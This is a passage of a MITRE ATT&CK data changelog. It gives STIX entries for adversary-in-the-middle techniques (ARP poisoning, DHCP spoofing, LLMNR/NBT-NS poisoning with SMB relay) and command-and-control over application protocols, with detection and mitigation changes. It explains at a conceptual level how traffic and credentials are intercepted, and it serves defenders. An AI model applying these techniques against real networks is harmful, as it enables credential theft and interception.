\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1042: Disable or Remove Feature or Program", + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0868: Detection of Wordlist Scanning" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:07:12.114000+00:00", + "modified": "2025-10-24 17:48:20.163000+00:00", + "name": "Adversary-in-the-Middle", + "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1557", + "external_id": "T1557" + }, + { + "source_name": "dns_changer_trojans", + "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats" + }, + { + "source_name": "volexity_0day_sophos_FW", + "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", + "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/" + }, + { + "source_name": "taxonomy_downgrade_att_tls", + "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.", + "url": "https://arxiv.org/abs/1809.05681" + }, + { + "source_name": "ad_blocker_with_miner", + "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.", + "url": "https://securelist.com/ad-blocker-with-miner-included/101105/" + }, + { + "source_name": "Token tactics", + "description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/" + }, + { + "source_name": "mitm_tls_downgrade_att", + "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.", + "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/" + }, + { + "source_name": "Rapid7 MiTM Basics", + "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.", + "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/" + }, + { + "source_name": "tlseminar_downgrade_att", + "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.", + "url": "https://tlseminar.github.io/downgrade-attacks/" + }, + { + "source_name": "ttint_rat", + "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.", + "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mayuresh Dani, Qualys", + "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project", + "NEC" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Windows Registry: Windows Registry Key Modification\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.163000+00:00\", \"old_value\": \"2025-04-15 19:58:02.209000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.\"}}}", + "previous_version": "2.5", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1035: Limit Access to Resource Over Network", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0019: Service (Service Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0296: Detect Adversary-in-the-Middle via Network and Configuration Anomalies" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-15 12:05:58.755000+00:00", + "modified": "2025-10-24 17:49:23.221000+00:00", + "name": "ARP Cache Poisoning", + "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1557/002", + "external_id": "T1557.002" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "source_name": "RFC826 ARP", + "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.", + "url": "https://tools.ietf.org/html/rfc826" + }, + { + "source_name": "Sans ARP Spoofing Aug 2003", + "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.", + "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.221000+00:00\", \"old_value\": \"2025-04-15 21:43:10.406000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \\n\\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \\n-\\n-Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1031: Network Intrusion Prevention", + "M1035: Limit Access to Resource Over Network", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0387: Detect ARP Cache Poisoning Across Linux, Windows, and macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-24 19:30:56.727000+00:00", + "modified": "2025-10-24 17:48:49.941000+00:00", + "name": "DHCP Spoofing", + "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1557/003", + "external_id": "T1557.003" + }, + { + "source_name": "rfc2131", + "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.", + "url": "https://datatracker.ietf.org/doc/html/rfc2131" + }, + { + "source_name": "new_rogue_DHCP_serv_malware", + "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.", + "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/" + }, + { + "source_name": "rfc3315", + "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.", + "url": "https://datatracker.ietf.org/doc/html/rfc3315" + }, + { + "source_name": "dhcp_serv_op_events", + "description": "Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)" + }, + { + "source_name": "solution_monitor_dhcp_scopes", + "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/" + }, + { + "source_name": "w32.tidserv.g", + "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.", + "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alex Spivakovsky, Pentera", + "Andrew Allen, @whitehat_zero" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.941000+00:00\", \"old_value\": \"2025-04-15 22:13:20.292000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0468: Detect DHCP Spoofing Across Linux, Windows, and macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:08:51.677000+00:00", + "modified": "2025-10-24 17:48:52.462000+00:00", + "name": "LLMNR/NBT-NS Poisoning and SMB Relay", + "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1557/001", + "external_id": "T1557.001" + }, + { + "source_name": "Rapid7 LLMNR Spoofer", + "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.", + "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response" + }, + { + "source_name": "GitHub Responder", + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "url": "https://github.com/SpiderLabs/Responder" + }, + { + "source_name": "Secure Ideas SMB Relay", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html" + }, + { + "source_name": "TechNet NetBIOS", + "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.", + "url": "https://technet.microsoft.com/library/cc958811.aspx" + }, + { + "source_name": "GitHub NBNSpoof", + "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", + "url": "https://github.com/nomex/nbnspoof" + }, + { + "source_name": "GitHub Conveigh", + "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", + "url": "https://github.com/Kevin-Robertson/Conveigh" + }, + { + "source_name": "byt3bl33d3r NTLM Relaying", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html" + }, + { + "source_name": "Sternsecurity LLMNR-NBTNS", + "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.", + "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning" + }, + { + "source_name": "Wikipedia LLMNR", + "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.", + "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Eric Kuehn, Secure Ideas", + "Matthew Demaske, Adaptforward", + "Andrew Allen, @whitehat_zero" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Service: Service Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.462000+00:00\", \"old_value\": \"2025-04-15 22:44:23.234000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\DNSClient for changes to the \\\"EnableMulticast\\\" DWORD value. A value of \\u201c0\\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\\n\\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\\n\\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\DNSClient for changes to the \\\"EnableMulticast\\\" DWORD value. A value of \\u201c0\\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\\n-\\n-Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\\n-\\n-Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0019: Service (Service Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0462: Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:56.776000+00:00", + "modified": "2025-10-24 17:48:38.368000+00:00", + "name": "Application Layer Protocol", + "description": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071", + "external_id": "T1071" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Mandiant APT29 Eye Spy Email Nov 22", + "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", + "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Duane Michael" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.368000+00:00\", \"old_value\": \"2025-04-15 19:58:21.401000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "2.4", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0444: Detection of Command and Control Over Application Layer Protocols" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 16:21:45.131000+00:00", + "modified": "2025-10-24 17:48:48.564000+00:00", + "name": "Mail Protocols", + "description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may 